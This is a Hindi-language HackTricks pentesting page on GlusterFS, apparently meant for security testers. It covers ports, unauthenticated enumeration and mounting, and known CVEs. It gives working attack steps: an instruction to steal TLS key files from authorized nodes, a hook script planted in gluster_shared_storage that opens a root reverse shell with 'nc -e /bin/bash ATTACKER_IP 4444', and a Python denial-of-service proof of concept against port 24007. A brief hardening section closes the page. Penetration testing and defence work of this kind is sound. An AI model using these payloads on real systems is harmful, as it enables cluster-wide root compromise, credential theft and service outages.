24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
GlusterFS एक वितरित फ़ाइल प्रणाली है जो कई सर्वरों से संग्रहण को एक एकीकृत नामस्थान में जोड़ती है। प्रबंधन डेमॉन (glusterd
) डिफ़ॉल्ट रूप से 24007/TCP पर सुनता है और डेटा-प्लेन ईंटों को निर्देशित करता है जो 49152/TCP पर शुरू होती हैं (प्रत्येक ईंट के लिए एक पोर्ट, बढ़ता हुआ)। 9.x से पहले के संस्करणों ने ईंट परिवहन के लिए 24008–24009/TCP का उपयोग किया, इसलिए आप अभी भी उन पोर्टों का सामना करेंगे जो विरासती क्लस्टरों में हैं।
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
टिप: 24007 RPC कॉल का उत्तर देता है भले ही स्टोरेज-केवल नोड्स कोई वॉल्यूम नहीं निर्यात करते हैं; इसलिए सेवा बड़े बुनियादी ढांचे के भीतर एक विश्वसनीय पिवट लक्ष्य है।
गणना
अपने हमलावर बॉक्स पर क्लाइंट उपयोगिताएँ स्थापित करें:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- पीयर खोज और स्वास्थ्य
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- वॉल्यूम पहचान
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- बिना विशेषाधिकार के माउंट करें
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
यदि माउंटिंग विफल हो जाता है, तो क्लाइंट साइड पर /var/log/glusterfs/<vol_name>-<uid>.log
की जांच करें। सामान्य समस्याएँ हैं:
- TLS प्रवर्तन (
option transport.socket.ssl on
) - पते आधारित पहुँच नियंत्रण (
option auth.allow <cidr>
)
प्रमाणपत्र समस्या निवारण
किसी भी अधिकृत क्लाइंट नोड से निम्नलिखित फ़ाइलें चुराएँ और उन्हें /etc/ssl/
(या त्रुटि लॉग में दिखाए गए निर्देशिका) में रखें:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
ज्ञात कमजोरियाँ (2022-2025)
CVE | प्रभावित संस्करण | प्रभाव | नोट्स |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | dht_setxattr_mds_cbk में उपयोग के बाद मुक्त, नेटवर्क के माध्यम से पहुँच योग्य | दूरस्थ DoS और संभावित RCE। 10.4.1 / 11.1 में ठीक किया गया। |
CVE-2023-26253 | < 11.0 | FUSE सूचित हैंडलर में सीमा से बाहर पढ़ाई | तैयार FS संचालन के माध्यम से दूरस्थ क्रैश; सार्वजनिक PoC उपलब्ध है। |
CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage को माउंट करते समय गलत अनुमति सत्यापन | किसी भी अप्रमाणित क्लाइंट को प्रशासनिक वॉल्यूम माउंट करने की अनुमति देता है - नीचे समझाए गए priv-esc की ओर ले जाता है। |
हमेशा
gluster --version
प्रत्येक नोड पर जांचें; आंशिक अपग्रेड के बाद विषम क्लस्टर सामान्य हैं।
gluster_shared_storage
का शोषण (अधिकार वृद्धि)
हाल के संस्करणों में भी कई प्रशासक विशेष gluster_shared_storage
वॉल्यूम को विश्व-पढ़ने योग्य छोड़ देते हैं क्योंकि यह भू-प्रतिकृति को सरल बनाता है। वॉल्यूम में क्रोनजॉब टेम्पलेट होते हैं जो प्रत्येक नोड पर root के साथ चलते हैं।
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
यदि hooks/1/
मौजूद नहीं है, तो /ss_bricks/
के लिए देखें - सटीक पथ प्रमुख संस्करण के साथ भिन्न हो सकता है।
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd
< 11.0 चलाते समय क्रैश हो जाता है।
हार्डनिंग और पहचान
- अपग्रेड – वर्तमान LTS 11.1 है (जुलाई 2025)। सभी CVEs ऊपर ठीक किए गए हैं।
- हर ईंट के लिए TLS सक्षम करें:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDR सूचियों के साथ क्लाइंट को प्रतिबंधित करें:
gluster volume set <vol> auth.allow 10.0.0.0/24
- प्रबंधन पोर्ट 24007 को केवल निजी VLAN पर या SSH टनल के माध्यम से उजागर करें।
- लॉग पर नज़र रखें:
tail -f /var/log/glusterfs/glusterd.log
और ऑडिट-लॉग फीचर कॉन्फ़िगर करें (volume set <vol> features.audit-log on
)।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।